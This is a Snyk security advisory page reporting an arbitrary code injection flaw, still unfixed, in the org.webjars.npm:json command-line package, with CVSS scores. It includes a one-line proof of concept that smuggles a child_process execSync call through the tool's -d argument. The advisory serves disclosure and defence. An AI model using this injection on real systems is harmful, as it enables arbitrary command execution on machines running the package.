Arbitrary Code Injection Affecting org.webjars.npm:json package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-1088048
  • published 22 Mar 2021
  • disclosed 5 Mar 2021
  • credit splitline

Introduced: 5 Mar 2021

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

There is no fixed version for org.webjars.npm:json.

Overview

org.webjars.npm:json is an a 'json' command for massaging and processing JSON on the command line

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

PoC

curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High